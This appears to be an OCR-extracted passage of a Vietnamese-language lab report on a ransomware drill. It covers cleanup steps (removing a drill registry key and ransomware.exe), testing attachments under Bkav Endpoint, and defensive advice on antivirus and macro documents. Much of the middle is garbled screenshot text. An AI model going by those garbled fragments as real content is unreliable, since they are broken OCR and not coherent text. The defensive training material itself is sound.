Xoa registry tai dia chi HKEY_CURRENT _USER/Software/whitehatdrill

Xbéa File ransomware trong thw muc C:/Windows/Temp/ransomware.exe

Phase 5:

Phong chéng Ransomware bang phan mém Anti-virus

- Th&r nghiém cac file dinh kem khi da cai dat Bkav Endpoint.

ko) 103.237.99.61 - Remote Desktop Connection o - @
[=le]=]
&) ~[& + Computer » Lol isk () )
& Efar=]
Organize v Sharewith v  New folder @O-[ % » Bkav » Downloads » ~ [ 43| [ Search Downioads plE- O @
& Favorites Narig = PRSP
B Desktop I Perflogs Bkav o
18 Downloads 1. Prograrn Files ety
QW RecentPlaces B Users bol Cngu | Tutngkia | Website | Engish | Store
1 Windowrs
o Libraries Khu vy'c quét
|5 Documents 1102 KB
&) Music ) Quét nhanh (c) 53,771KB
=] Pictures ) Toin bo mdy 965 KB
51 Subversion Chon thur muc 23? KB
B videos 802 KE
Cau hinh quét B3KE
% Computer 1KE
isk (C3 26,635 KB
&L Local Disk (©) O o3t kh quée L3 csuhinh ning cao i
A d (zipp... 6676KB
i Network Bao vé mdy tihh d (zipp. 932 KB
i ” a . -
/ 4
theo cach chuyén nghiép ! e
2,852 KB
599,609 KE
15,100 KB
52,315 KE

4 items

Q Quét % Tuy chon M Nhat ky @ Ban quyén O Trg giap

04/08/2015 Internet Security 2015

C4c bién phap dé xuét dé phong chéng tan cong:

Cai dat Antivirus Software nhw BKAV, BitDefender

aaem |

@ RSO g ™

- [=r il 0 ENG

403 PM
7/26/2017

Khéng mé File DOC c6 chiva Macro. Can kiém tra trong moi trwérng do héa (VMware) dé theo di

hanh vi.




